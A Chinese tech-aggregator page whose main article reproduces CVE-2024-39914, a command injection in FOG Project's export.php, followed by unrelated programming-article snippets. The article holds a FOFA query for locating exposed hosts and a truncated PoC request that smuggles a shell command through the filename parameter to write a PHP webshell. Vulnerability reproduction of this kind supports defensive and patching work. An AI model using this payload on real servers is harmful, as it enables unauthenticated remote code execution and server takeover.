当前位置： 首页 > news >正文

FOG Project 文件名命令注入漏洞复现（CVE-2024-39914）

news 2026/5/11 9:31:37

0x01 产品简介

FOG是一个开源的计算机镜像解决方案，旨在帮助管理员轻松地部署、维护和克隆大量计算机。FOG Project 提供了一套功能强大的工具，使用户能够快速部署操作系统、软件和配置设置到多台计算机上，从而节省时间和精力。该项目支持基于网络的 PXE 启动、镜像创建和还原、硬件和软件清单管理、远程控制和监视等功能，为 IT 管理员和系统管理员提供了一个全面的工具集。

0x02 漏洞概述

该漏洞在FOGPROJECT中的packages/web/lib/fog/reportmaker.class.php文件受到命令注入漏洞的影响，该漏洞存在于/fog/management/export.php的filename参数，未经身份验证的远程攻击者可利用此漏洞执行任意命令，获取服务器权限。

0x03 影响范围

FOGPROJECT < 1.5.10.34

0x04 复现环境

FOFA：body="FOG Project"

0x05 漏洞复现

PoC

写入Webshell

POST /fog/management/export.php?filename=$(echo+'<?php+echo+shell_exec($_GET['"'cmd'"']);+?>'+>+rce.php)&type=pdf HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac

相关文章：

FOG Project 文件名命令注入漏洞复现（CVE-2024-39914）

0x01 产品简介 FOG是一个开源的计算机镜像解决方案，旨在帮助管理员轻松地部署、维护和克隆大量计算机。FOG Project 提供了一套功能强大的工具，使用户能够快速部署操作系统、软件和配置设置到多台计算机上，从而节省时间和精力。该项目支持基于网络的 PXE 启动、镜像创建和还…...

编程日记 2024/7/19 14:54:38

JavaScript 表单

JavaScript 表单 JavaScript 是一种广泛应用于网页开发的编程语言，它能够让网页变得更加动态和交互式。在网页设计中，表单是一个重要的组成部分，它允许用户输入数据并将其提交到服务器。JavaScript 可以用来增强表单的功能，提供更好的用户体验。本文将详细介绍如何使用 Ja…...

编程日记 2024/7/19 14:53:37

python程序设定定时任务

在 Windows 系统上，您可以使用任务计划程序（Task Scheduler）来设置定时任务，执行 Python 文件。以下是具体步骤： 步骤 1：准备 Python 文件 假设有一个名为 script.py 的 Python 脚本。确保它可以在命令行中正确运行。 步骤2：找到Python可执行文件的位置 知道Python可…...

编程日记 2024/7/19 14:52:36

win10 查看 jks 的公钥

1.使用 keytool 导出jks文件的 crt 文件 先查询别名 keytool -list -keystore oauth2.jks -storepass [你的密钥库密码] 导出crt 文件 keytool -exportcert -alias oauth2 -keystore oauth2.jks -file 777.crt 2.查看公钥 打开PowerShell # 设置.crt文件的路径 $ce…...

编程日记 2024/7/19 14:51:35

蓝牙模块在智能体育设备中的创新应用

随着科技的飞速发展&#xff0c;智能体育设备已经成为现代体育训练和健身的重要组成部分。蓝牙模块作为智能体育设备中的核心技术之一&#xff0c;其创新应用不仅提升了设备的智能化水平&#xff0c;也为运动员和健身爱好者带来了前所未有的便利和体验。本文将探讨蓝牙模块在智…...

编程日记 2024/7/19 14:49:32

智能家居和智能家电有什么区别？

智能家居和智能家电在定义、涵盖范围、功能特点以及系统集成度等方面存在显著区别。 一、定义 智能家居&#xff1a;智能家居是指通过物联网技术、人工智能技术等先进技术&#xff0c;将家居设备与互联网连接起来&#xff0c;实现智能化控制和管理的一种新型生活方式。它不仅…...

编程日记 2024/7/19 14:45:27

SpringBoot3 + Vue3 学习 Day 1

springboot 基础 和 注册接口的开发 学习视频基础SpringBoot 概述快速启动配置文件基本使用① application.properties② application.yml &#xff08;更好&#xff09; yml 配置信息的书写和获取yml 配置信息书写与获取 1 - Valueyml 配置信息书写与获取 2 - ConfigurationPr…...

编程日记 2024/7/19 14:44:26

如何使用在线工具将手机相册中的图片转换为JPG格式

我们经常在手机相册中保存大量的图片&#xff0c;无论是家庭聚会的照片还是旅行的瞬间&#xff0c;每一幅图像都承载着珍贵的记忆。然而&#xff0c;有时候我们会遇到图片格式不兼容的问题&#xff0c;尤其是在需要将图片分享到特定平台或编辑时。 例如&#xff0c;某些社交平台…...

编程日记 2024/7/19 14:43:25

C#医学影像管理系统源码（VS2013）

目录 一、概述 二、系统功能 系统维护 工作站 三、功能介绍 影像采集 统计模块 专业阅片 采集诊断报告 报告管理 一、概述 医学影像存储与传输系统&#xff08;PACS&#xff09;是一种集成了影像存储、传输、管理和诊断功能的系统。它基于数字化成像技术、计算机技术和…...

编程日记 2024/7/19 14:41:20

Qt Creator 项目Console 项目踩坑日记

最近在做QT的项目&#xff0c;但是一直是带界面&#xff08;QT Widgets&#xff09;程序&#xff0c;前几天收到个需求&#xff0c;是要做个socket服务端的桌面程序&#xff0c;界面有没有都成&#xff0c;然后就想着接着用 QT Widgets 搞&#xff0c;结果辛辛苦苦把socket服…...

编程日记 2024/7/19 14:39:18

[MAUI 项目实战] 笔记App（一）：程序设计

文章目录 前言框架定义核心类项目地址 系列文章&#xff1a; [MAUI 项目实战] 笔记App&#xff08;一&#xff09;&#xff1a;程序设计 [MAUI 项目实战] 笔记App&#xff08;二&#xff09;&#xff1a;数据库设计 前言 有人说现在记事类app这么多&#xff0c;市场这么卷&a…...

编程日记 2024/7/19 14:38:17

VisualRules-Web案例展示（一）

VisualRules单机版以其卓越的功能深受用户喜爱。现在&#xff0c;我们进一步推出了VisualRules-Web在线版本&#xff0c;让您无需安装任何软件&#xff0c;即可在任何浏览器中轻松体验VisualRules的强大功能。无论是数据分析、规则管理还是自动化决策&#xff0c;VisualRules-W…...

编程日记 2024/7/19 14:35:14

使用Docker 实现 MySQL 循环复制（三）

系列文章 使用Docker 实现 MySQL 循环复制&#xff08;一&#xff09; 使用Docker 实现 MySQL 循环复制&#xff08;二&#xff09; 目录 系列文章1. 在主机上安装MySQL客户端2. 配置循环复制拓扑2.1 进入容器2.2 创建复制用户并授予复制权限2.3 复位二进制日志2.4 配置环形复…...

编程日记 2024/7/19 14:31:10

Spring如何管理Mapper

目录 一、背景二、猜测三、源码查看步骤1、创建MapperScannerConfigurer.java2、MapperScan注解3、MapperScannerRegistrar执行registerBeanDefinitions方法4、MapperScannerConfigurer执行postProcessBeanDefinitionRegistry方法5、执行doscan6、设置beanClass7、使用jdk生成代…...

编程日记 2024/7/19 14:30:09

NFS存储、API资源对象StorageClass、Ceph存储-搭建ceph集群和Ceph存储-在k8s里使用ceph（2024-07-16）

一、NFS存储 注意&#xff1a;在做本章节示例时&#xff0c;需要拿单独一台机器来部署NFS&#xff0c;具体步骤略。NFS作为常用的网络文件系统&#xff0c;在多机之间共享文件的场景下用途广泛&#xff0c;毕竟NFS配置方 便&#xff0c;而且稳定可靠。NFS同样也有一些缺点&…...

编程日记 2024/7/19 14:29:08

「Vue组件化」封装i18n国际化

前言 在Vue应用中实现国际化（i18n），通常需要使用一些专门的库，比如vue-i18n。本文主要介绍自定义封装i18n，支持Vue、uniapp等版本。 设计思路 一、预期效果 二、核心代码 2.1 i18n.xlsx文件准备 2.2 脚本执行 根目录main.js根目录locali18n.xlsxnode main.jsmain.js 文件…...

编程日记 2024/7/19 14:28:07

【Git远程操作】理解分布式管理 | 创建远程仓库

目录 1.理解分布式管理 多人协作开发 2.创建远程仓库 2.1仓库名&路径 2.2初始化仓库&设置模板 1.理解分布式管理 目前我们学习的所有内容都是在本地来完成的。&#xff08;add /commit /版本撤销回退/分支管理&#xff09; Git是一个分布式 的版本控制系统。 分支…...

编程日记 2024/7/19 14:27:06

OJ-0718

示例1 input 3 1 1 1 output 0示例2 input 3 3 7 10 output 1示例3 input 4 3 7 10 16 output 3题解1&#xff1a;List {public static void main(String[] args) {Scanner in new Scanner(System.in);int num in.nextInt();List<Integer> list new ArrayList<…...

编程日记 2024/7/19 14:26:04

python抓包 -- 用wireshark抓包、解析--scapy、PyShark

一、 安装scapy模块 1、打开DOS命令行 python -m pip install scapy2、sniff()函数 功能&#xff1a;数据嗅探 参数&#xff1a; iface: 指定在哪个网络接口上抓包 count: 表示要捕获数据包的数量。默认为0(不限制数量) filter: 流量的过滤规则。使用的是 BPF 的语法 prn:…...

编程日记 2024/7/19 14:24:02

uni-app开发日志：unicloud使用时遇到的问题解决汇总（不断补充）

插件安装后提示与原数据库表冲突&#xff08;2024.7.18&#xff09; 安装uni-admin后再安装uni-cms&#xff0c;在uni-admin中添加好菜单&#xff0c;结果提示该错误 回到hbuilder中uniCloud/database中找到冲突的部分 比较一下&#xff0c;选中老的删除 opendb-news-articl…...

编程日记 2024/7/19 14:23:01

ARM TRCCNTCTLR寄存器详解与调试技巧

1. ARM Trace Counter控制寄存器TRCCNTCTLR深度解析在嵌入式系统调试和性能分析领域&#xff0c;硬件计数器是不可或缺的关键工具。作为ARM架构调试系统的重要组成部分&#xff0c;Trace Counter Control Register&#xff08;TRCCNTCTLR&#xff09;系列寄存器为开发者提供了精…...

编程新知 2026/5/11 9:25:27

Pandas数据合并：concat vs append，选哪个？用真实‘幸福指数’数据集测给你看

Pandas数据合并实战&#xff1a;concat与append深度性能对比 在数据分析工作中&#xff0c;数据合并是最基础也最频繁的操作之一。Pandas提供了多种合并数据的方法&#xff0c;其中concat和append是最常用的两种纵向合并方式。但很多开发者并不清楚它们在实际项目中的性能差异和…...

编程新知 2026/5/11 9:02:30

用MATLAB手把手复现CT图像重构：从原理到代码，避开R-L滤波器的Gibb‘s现象

MATLAB实战&#xff1a;CT图像重构中的滤波反投影与Gibbs现象规避指南 在医学影像处理领域&#xff0c;CT图像重构算法的实现质量直接影响诊断准确性。本文将带您深入滤波反投影法的核心原理&#xff0c;通过MATLAB代码实现全流程&#xff0c;并重点解决R-L滤波器导致的Gibbs现…...

编程新知 2026/5/11 8:30:28

DISTINCT 带 WHERE 仍全表扫描？两层优化刀法拆解

DISTINCT 带 WHERE 仍全表扫描&#xff1f;两层优化刀法拆解 引言&#xff1a;一个看似多余的 DISTINCT&#xff0c;藏着性能陷阱 几乎每个写过 SQL 的人都用过 DISTINCT。它的语义很简单——去掉重复行。但"简单"不等于"快"。在一个客户的生产环境中&…...

编程新知 2026/5/11 7:18:11

基于PSCAD的光伏-火电打捆直流送出系统建模与扰动特性仿真研究

基于PSCAD的光伏-火电打捆直流送出系统建模与扰动特性仿真研究 摘要 随着我国“双碳”目标的深入推进，以光伏为代表的新能源发电装机规模持续快速增长。然而，光伏发电具有间歇性和波动性特征，大规模并网对电力系统的安全稳定运行提出了严峻挑战。将光伏与火电打捆经高压直…...

编程新知 2026/5/11 7:09:37

通过环境变量统一管理Taotoken密钥提升项目安全与便捷性

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 通过环境变量统一管理Taotoken密钥提升项目安全与便捷性 在开发基于大模型的应用时&#xff0c;API密钥的管理是一个基础但至关重要…...

编程新知 2026/5/11 6:50:33

EDA工程师成长与验证技术演进：从算法到芯片的实践闭环

1. 从算法到芯片&#xff1a;一位EDA工程师的成长路径解析在半导体这个行当里待久了&#xff0c;你会发现&#xff0c;那些真正能把工具做“透”、把流程理“顺”的人&#xff0c;往往自己就亲手“焊”过板子、调过RTL、追过时序违例。Prakash Narain的故事&#xff0c;就是一个…...

编程新知 2026/5/11 6:19:21

[CAN BUS] 从开源到商用：USB-CAN适配器选型避坑指南与稳定性深度剖析

1. 为什么USB-CAN适配器选型这么重要&#xff1f; 如果你正在开发汽车电子、工业控制或者机器人项目&#xff0c;大概率会用到CAN总线。作为嵌入式工程师&#xff0c;我最开始接触CAN总线时&#xff0c;天真地以为随便买个USB转CAN的工具就能搞定。结果在实际项目中踩了不少坑—…...

编程新知 2026/5/11 4:57:50

SincNet实战：用PyTorch复现说话人识别，并探讨其对抗攻击的脆弱性与防御思路

SincNet实战&#xff1a;从说话人识别到对抗防御的全链路技术解析 当声纹识别系统在智能门锁中误将陌生人识别为业主时&#xff0c;背后可能是精心设计的音频对抗样本在作祟。SincNet作为直接从原始波形学习的CNN变体&#xff0c;其带通滤波器设计带来的可解释性优势&#xff0…...

编程新知 2026/5/11 4:39:22

仅限首批200家认证机构获取：SITS2026兼容性评估矩阵V1.2（含LLM微调知识注入适配表），错过再等18个月！

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;AI研发知识管理&#xff1a;SITS2026专题 在AI研发加速演进的背景下&#xff0c;知识管理正从文档归档转向语义化、可执行、可追溯的智能中枢。SITS2026&#xff08;Semantic Intelligence for Technic…...

编程新知 2026/5/11 2:46:31